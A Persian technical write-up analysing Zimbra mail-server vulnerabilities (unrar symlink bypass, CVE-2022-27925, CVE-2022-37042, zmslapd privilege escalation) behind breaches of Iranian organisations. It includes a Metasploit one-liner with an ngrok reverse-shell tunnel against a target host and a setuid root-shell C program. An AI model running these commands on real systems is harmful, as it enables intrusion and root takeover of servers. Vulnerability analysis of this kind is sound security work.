اما فرایند ایمیل های دریافتی باید گفت که از طریق پروتکل SMTP و بواسطه Postfix پردازش می شود، سپس ایمیل را به Amavisd
ارسال می کند که Armavis اینجا تشخیص می دهد که ایمیل های دریافتی دارای محتوایی با فرمت فشرده شده وجود دارد یا خیر… در صورت وجود فایل فرمتی مانند RAR و ZIP، آنرا بواسطه unrar
استخراج می کند و سپس همه محتویات آن را به SpamAssassin برای تشخیص هرزنامه بودن ارسال خواهد کرد، همچنین یک بار نیز به ClamAV برای تشخیص محتوای مخرب ارسال خواهد شد، لزا در صورت پاک بودن و تصدیق صحیح بودن محتوای ایمیل ها، آنها را به خود Zimbra ارسال خواهد کرد.
عملکرد Armavis در خصوص UnRAR
فراخوانی معمولی unrar در خط فرمان می تواند به شکل زیر باشد:
┌──(web㉿unk9vvn)-[~] └─$ unrar x archive.rar /tmp/extract
این دستور تمام فایل های موجود در بایگانی archive.rar
را در دایرکتوری tmp/extract/
استخراج می کند. برنامه یا کاربری که این دستور را فراخوانی می کند انتظار دارد که فایل ها فقط در پوشه tmp/extract/
نوشته شوند. نرمافزار هایی مانند Amavis بر این فرض تکیه می کنند تا اطمینان حاصل شود که همه فایلها میتوانند به طور ایمن پس از پردازش آنها حذف شوند. این شبکه ایمنی توسط unrar
پیاده سازی شده و به صورت پیشفرض فعال است.
یکی دیگر از چالش های unrar
این است که در فرایند استخراج فایل های فشرده RAR، اقدام به زدن یک Symbolic Link خواهد کرد که اگر مهاجم بتواند اشاره گر Symbolic Link را به خارج از دایرکتوری پیشفرض باز تعریف نماید، می تواند به فایل دومی اشاره کرد، اما باید این نکته را در نظر داشت که روش های پیمایش مسیر در سیستم عامل Linux و Windows متفاوت است.
تصدیق Symbolic Link در تابع IsRelativeSymLinkSafe
انجام می شود که یک قطعه از آن در اینجا نشان داده شده است، همانطور که در تصویر بالا مشاهده می شود این تابع بررسی می کند که آیا هدف Symlink دارای دو نقطه به دنبال هم است که یک تقسیم کننده مسیر /..
است یا خیر، در صورت وجود /..
تابع تشخیص می دهد که یک داده خطرناک برای پیمایش مسیر وجود دارد.
دور زدن تصدیق Symlink
با بررسی نحوه کارکرد IsRelativeSymLinkSafe
مشخص شد که وجود دو نقطه برای کد تصدیق خواهد شد و وجود Slash در سیستم عامل های Unix پایه و Back Slash در سیستم عامل های Windows پایه، موجب تعریف یک مسیر برای unrar
خواهد شد. هنگامی که Symbolic Link تأیید شود، توسط unrar
به عنوان یک مسیر شناخه دیده خواهد شد، اما باید به این موضوع اشاره کرد که یک فایل RAR می تواند بر روی یک سیستم عامل Windows یا Unix ایجاد شده باشد و این سیستم عامل ها مسیرهای فایل را به گونه ای متفاوت تعریف می نمایند. برای اطمینان از اینکه فایل های RAR ایجاد شده در سیستم عامل Windows می توانند در سیستم عامل های Unix هم استخراج شوند، می بایست (\
) به (/
) تبدیل گردد.
قطعه کد بالا نشان می دهد که چگونه فرایند تبدیل Back Slash به Forward Slash رخ خواهد داد در صورت تصدیق FSREDIR_WINSYMLINK
در خصوص فشرده سازی فایل RAR در سیستم عامل ویندوز، موجب رخداد عملیات تبدیل بواسطه تابع DosSlashToUnix
خواهد شد، حال این موضوع چگونه می تواند به مهاجم کمک کند تا فرایند Validation آدرس پیمایش را دور بزند؟ برای دور زدن تصدیق پیمایش، می بایست به این نکته توجه کرد که اگر شرط FSREDIR_WINSYMLINK
را ما برقرار نمایم، می توانیم به تابع DosSlashToUnix
برسیم، که برای دور زدن این تابع کافی است از یک الگوی این چنینی استفاده شود tmp/shell\..\..\..
که تابع با دیدن \..
آنها را به tmp/shell/../../..
تبدیل خواهد کرد و Symbolic Link نهایی ما بر روی فایل مخرب ایجاد و نوشته خواهد شد.
آسیب پذیری ZIP Path Traversal
این آسیب پذیری با شناسه CVE-2022-27925 ثبت شده است که مبتنی بر کاربرانی که سطح دسترسی ادمین احراز شده اند، می تواند یک بارگزاری فایل با فرمت ZIP داشته باشد که درون آن، فایل مخرب قرار گیرد. این بارگزاری فایل مبتنی بر توابع mboximport
انجام شده که در ادامه به آن می پردازیم.
دنبال کردن جریان کد بصورت WhiteBox
نسخه آسیب پذیر Zimbra 8.8.15.p30 را اگر بواسطه نرم افزارهایی مانند JADX مهندسی معکوس کنیم و Backend آنرا که به زبان Java نوشته شده است بررسی نمایم، می توانیم نام mboximport
را در فایل zimbrabackup.jar
بیابیم، که دارای یک کلاس با نام MailboxImportServlet
است که ارث بری شده است از ExtensionHttpHandler
، همچنین مقدار mboximport
در یک Handler با نام HANDLER_NAME_MBOXIMPORT
ریخته شده است که از نوع String بوده است.
اما درون کلاس ExtensionHttpHandler
تعاریف Method هایی وجود دارد که گزینه doPost
مورد توجه است، این تابع ورودی و خروجی های خود را مبتنی بر Object های ساخته شده از Servlet
دریافت کرده است و همانطور که پیشتر گفته شد تمامی Servlet
ها از ZimbraServlet
ساخته شده است که یک کلاس سفارشی است در اصل.
اما با جستجوی ZimbraServlet
می توان تمامی کلاس های منتج شده را دید که یکی از موارد مرتبط با منطقه رخداد آسیب پذیر کلاسی است با نام ExtensionDispatcherServlet
.
اما در تصویر بالا با جستجوی کلاس ExtensionDispatcherServlet
می توان آدرس تخصص داده شده برای سرویس Extension ها را مشاهده نمود. نکته: منطقه رخداد آسیب پذیر مرتبط است با دریافت Extension ها.
با جستجوی ExtensionDispatcherServlet
که یک کلاس ارث برده شده از ZimbraServlet
است، به فایلی می رسیم با آدرس webapps\service\WEB-INF\web.xml
که مشخص می کند که آدرس (Path) تعریف شده برای دریافت Extension چه می تواند باشد.
در تصویر بالا کد مربوط به دریافت Request ارسالی Extension است که به تابع getHandler
پاس داده می شود.
در ادامه دریافت Request می بایست آدرس Extension که در اصل نام Extension است هم از Request دریافتی استخراج شده و به در extPath
قرار داده می شود.
اینجا نحوه محاسبه نام Extension را که در handler
به آن ارجاع داده شده و در ادامه با شرطی مشخص می شود مقدار دریافتی null
است یا خیر و در صورت خالی نبودن و null
نبودن، مقدار تصدیق شده و بازگشت داده می شود.
در تصویر می بینیم که Object ساخته شده از ExtensionHttpHandler
که بواسطه آن به تابع getPath
فراخوانی شده است و در ادامه به متغییر name
با نوع محتوای String
پاس داده می شود.
در ادامه روند دریافت نام Extension ، میبینیم تابعی با نام init
تعریف شده است که Object از ZimbraExtension
ساخته شده و مقدار ext به mExtension
پا داده شده است.
بعد از پاس دادن مقدار ZimbraExtension
به mExtension
، فرایند Initilize تعریفی در تابع init
را ردیابی و به کلاس BackupExtension
رسیدیم که در کلاس تابعی با نام initNetworkExtension
را می بینیم که یک Object از تابع MailboxExportServlet
ساخته شده و به تابع Register
که از کلاس ExtensionDispatcherServlet
فراخوانی شده است.
بررسی آدرس مسیر تخصیص داده شده برای دریافت Extension در بخش Backup که مقدار mboximport
به آن در تابع getPath
اضافه می شود (/service/extension/backup/mboximport
).
آسیب پذیری Bypassing Authentication
نحوه دور زدن فرایند تصدیق سطح دسترسی و احراز Token اطلاق شده و با شناسه CVE-2022-37042 ثبت شده است.
در شرط کد، عنوان شده که اگر مقدار authToken
خالی باشد یا ادمین نباشد، احراز هویت در اینجا ناموفق خواهد بود.
زمانی که با حساب ادمین وارد شویم و مقدار ZM_ADMIN_AUTH_TOKEN
را در Header مربوط به Cookie دریافت کنیم، می توانیم با یک تغییر کوچک در نام پارامتر ZM_ADMIN_AUTH_TOKEN
به ZM_AUTH_TOKEN
امکان بار گزاری Extension را انجام دهیم.
درخواست مبنی بر دریافت مقدار Cookie در پارامتر ZM_ADMIN_AUTH_TOKEN
مهاجم می تواند با مقدار دهی پارامتر account-name
با مقدار [email protected]
، و همچنین جای گزینی مقدار Cookie مربوط به سطح دسترسی ادمین در درخواست های ارسالی از سطح دسترسی کاربر، پارسر Backend را در خصوص تصدیق سطح دسترسی به اشتباه بی اندازد.
منطقه آسیب پذیری Path Traversal
اما مشکل اصلی در کجاست؟ اگر به فرایند پردازش فایل ZIP دریافتی در Endpoint مربوط به mboximport
، می بینیم که در تابع importFrom
ورودی accountId
را به تابع restore
پاس داده شده، به همراه پارامترهای دریافتی از Request بواسطه Object ساخته شده از RestoreParams
با نام params
.
در اینجا پارامتر های تنظیم شده و مقادیر mailboxId
و account.getId
را دریافت نموده و محتوای ورودی درخواست ارسال شده را به تابع importFrom
پاس می دهد.
اما ردیابی جریان کد در خصوص پاس دادن مقادیر به تابع restore
، به اینجا رسید که مقادیر ورودی دریافتی طبق تصویر بالا دریافت شده و مقدار accountIds
با یک حلقه for به تابع getAccountSession
پاس داده می شود.
بعد از پاس مقدار accountIds
به تابع getAccountSession
، داخل این تابع را می بینیم که یک Object از ZipBackupTarget.RestoreAcctSession
ساخته شده و در کنار accountId
مقادیر دیگری هم به این تابع پاس داده شده است.
بعد از دریافت مقادیر توسط تابع RestoreAcctSession
در بلاک کد این تابع می بینیم که در صورت نبود فایلی در mTempDir
، شرط else
اجرا شده و تابع unzipToTempFiles
فراخوانی می شود.
در اینجا تابع unzipToTempFiles
را می بینیم که قرار است پروسه Unzip کردن فایل Extension دریافتی را انجام دهد و در این فرایند در متغییر zn
بواسطه تابع getName
، نام فایل درون ZIP را دریافت کرده و در ادامه در Object به نام File
، می بینیم که از تابع mTempDir
استتفاده کرده و محتوای String
متغییر zn
که نام فایل باشد را برای ساخت یک DIR استفاده می نماید.
همچنین در ادامه تابعی به نام FileUtil.copy
فراخوانی می شود تا فایل درون ZIP دریافت شده در file
را به آدرس ZipBackupTarget
کپی نماید. اما در تابع ZipBackupTarget.this.mZipIn
آسیب پذیری Path Traversal رخ داده است.
توجه داشته باشید که پروسه این تابع بدون کنترل صحیح انجام شده است.
بنابراین مهاجم می تواند با ساخت یک فایل ZIP که دارای محتوای shell.jsp
است، و بواسطه قرار دادن Payload مربوط به آسیب پذیری Path Traversal در نام فایل، این امکان فراهم شده است تا shell.jsp
ارسالی، فراخوانی شده و اجرا شود.
خروجی درخواست مخرب ارسالی و نحوه بهره برداری از آسیب پذیری…
فرایند تست آسیب پذیری
در این قسمت از مقاله می پردازیم به نحوه کد بهره برداری (Exploit) طراحی شده برای آسیب پذیری های CVE-2022-27925 و CVE-2022-37042 را بررسی می کنیم. اولین قدم بواسطه موتور جستجوی Censys می توان شناسه هایی که از این ایمیل سرور استفاده می کنند را شناسایی کرد.
اما در مرحله بعد بواسطه دستورات زیر می توان فرایند تست آسیب پذیری را، توسط ابزار Metasploit Framework بصورت اتوماسیون انجام داد.
# Define TARGET ┌──(web㉿unk9vvn)-[~] └─$ TARGET=mail.example.com # Define Token ENV & Visit dashboard.ngrok.com ┌──(web㉿unk9vvn)-[~] └─$ TOKEN=(Ngrok Token Pasted) # Install Ngrok Linux ┌──(web㉿unk9vvn)-[~] └─$ wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz -O /tmp/ngrok-v3-stable-linux-amd64.tgz;sudo mkdir /usr/share/ngrok;sudo tar -xvf /tmp/ngrok-v3-stable-linux-amd64.tgz -C /usr/share/ngrok;sudo rm -f /tmp/ngrok-v3-stable-linux-amd64.tgz;sudo chmod 755 /usr/share/ngrok/*;sudo ln -f -s /usr/share/ngrok/ngrok /usr/bin/ngrok;ngrok config add-authtoken $TOKEN;ngrok tcp 4444 # Define ENV Ngrok ┌──(web㉿unk9vvn)-[~] └─$ NGDNS=$(API=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"tcp:\/\/([^"]*):.*/\1/p') && echo "$API");NGPORT=$(API=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE 's/.*public_url":"tcp:\/\/.*.tcp.*.ngrok.io:([^"]*).*/\1/p') && echo "$API"); # Triggering Exploit & Privilege Escalation ┌──(web㉿unk9vvn)-[~] └─$ echo "run exploit/linux/local/zimbra_slapper_priv_esc" > /tmp/priv_zimbra.rc;msfconsole -qx "use exploit/linux/http/zimbra_mboximport_cve_2022_27925;set RHOSTS $TARGET;set LHOST $NGDNS;set LPORT $NGPORT;set ReverseListenerBindAddress 127.0.0.1;set ReverseListenerBindPort 4444;set EnableStageEncoding true;set AutoRunScript /tmp/priv_zimbra.rc;run -j"
- در متغییر محلی
TARGET
نام دامنه قربانی را درج کرده و در متغییرTOKEN
مقدار Token دسترسی به سرویس Ngrok را مقدار دهی می شود تا بواسطه این سرویس فرایند Port Forwarding نیز دور زده شده و آزمون آسیب پذیری بدرستی صورت گیرد. - در ادامه سرویس Ngrok را بصورت اتوماسیون بر روی سیستم عامل Kali Linux نصب کرده و سرویس بر روی درگاه (Port) شماره
4444
فعال می گردد. - بعد از نصب سرویس Ngrok دو متغییر محلی در خصوص دریافت آدرس شناسه (IP) و درگاه (Port) تخصیص داده شده برای سرویس Ngrok را دریافت نمایند.
- در مرحله آخر دستورات اتوماسیون ارزیابی، کد بهره برداری (Exploit) آسیب پذیریی CVE-2022-27925 را فراخوانی کردی و در ادامه مقادیر
RHOSTS
وLHOST
وLPORT
بواسطه متغییر های محلی از قبل تعریف شده، مقدار دهی می شود و نهایتا کد بهره برداری اجرا می شود، در صورت آسیب پذیر بودن قربانی دسترسی اجرای کد حاصل خواهد شد. - در بخش آخر دستورات اتوماسیون، کد بهره برداری ارتقاء سطح دسترسی (
zimbra_slapper_priv_esc
) نیز تعریف شده و بعد از اخذ دسترسی بصورت اتوماتیک اجرا خواهد شد و دسترسی ارتقاء یافته، ایجاد می شود.
آسیب پذیری ارتقاء سطح دسترسی روز صفر
اما در ایمیل سرور Zimbra یک آسیب پذیری ارتفاء سطح دسترسی (Privilge Escalation) وجود داشت که بواسطه آن مهاجم می توانست، دسترسی اجرای کد (RCE) خود را به سطح دسترسی root
بر روی سرور قربانی تبدیل گرداند.
اما این اتفاق چگونه رخداده است؟ برای فهم این موضوع اول می بایست در خصوص ماهیت عمکردی sudo -l
مطالعه نمود. این سوئیچ که برای اجرای سرویس ها در سطح دسترسی root
است که بدون نیاز به وارد کردن رمز مدیر، سرویس قرار داده شده اجرا خواهد شد. در ایمیل سرور Zimbra سرویس زیر قرار داده شده بود.
(root) NOPASSWD: /opt/zimbra/libexec/zmslapd
سرویس zmslapd
با سطح دسترسی root
اجرا می شود، اما درون این فایل چیست؟
┌──(avi㉿unk9vvn)-[~] └─$ cat /opt/zimbra/libexec/zmslapd #!/bin/bash # # ***** BEGIN LICENSE BLOCK ***** # Zimbra Collaboration Suite Server # Copyright (C) 2007, 2008, 2009, 2010, 2012, 2013, 2014, 2015, 2016 Synacor, Inc. # # This program is free software: you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software Foundation, # version 2 of the License. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; # without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program. # If not, see <https://www.gnu.org/licenses/>. # ***** END LICENSE BLOCK ***** # ulimit -n 32768 ulimit -c unlimited ulimit -v unlimited export LD_PRELOAD=/opt/zimbra/common/lib/libtcmalloc_minimal.so exec /opt/zimbra/common/libexec/slapd "$@"
در درون محتوای فایل، می بینیم که یک کتابخانه با نام libtcmalloc_minimal.so
استخراج شده است و در ادامه یواسطه دستور exec
، ورودی داده شده به slapd
اجرا خواهد شد. اما با استفاده از ورودی سوئیج های u root-
و g root-
می توان از اعمال Permissions بر روی فایل config معرفی شده به zmslapd
جلوگیری کرد و همچنین بواسطه f-
آدرس خود فایل ورودی config را می توانیم معرفی کنیم.
# Load dynamic backend modules: modulepath /tmp/slapper moduleload hax.so # moduleload back_ldap.la
اما در فایل config کپی شده ی مهاجم، می بایست یک ماژول برای اجرا استفاده نمود که در معرفی کتابخانه بارگزاری ماژول، می توان یک کتابخانه مخرب معرفی کرد. در کد بالا فایل hax.so
یک کتابخانه با کد زیر است که قرار است فایل rootslap
را ساخته و بعد Permission آنرا با عدد 04755
تنظیم نمود.
cat << EOF > /tmp/slapper/rootslap.c #include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); }
اما محتوای فایل rootslap.c
که قرار است کتابخانه hax.so
اجرا گردد، این فایل قرار است یک پردازش مبتنی بر bin/sh/
فعال نماید. برای بررسی کد بهره برداری به این آدرس بروید.
جمع بندی
در این مقاله سعی شد ماجرای هک شدن ایمیل سرورهای مجموعه های خبرگزاری فارس، درگاه خدمات الکترونیک مصادیق محتوای مجرمانه و سازمان انرژی اتمی ایران را، از منظر فنی بررسی کرده و آسیب پذیری های رخداده را تحلیل نمایم. با توجه به نحوه رخداد حمله و بهره برداری از آسیب پذیری محصولات خارجی که در ایران به نام محصولات بومی معرفی می شوند، شایسه است تا متولیات امور تنظیم گیری ممیزی های امنیت سایبری ایران یعنی سازمان افتای ریاست جمهوری، نسبت به کیفیت خدمات تست نفوذ و چهارچوب های ارزیابی محصولات مورد استفاده در زیرساخت های حیاطی را با توجه بیشتر و دقیق تری، ترتیب اثر دهد.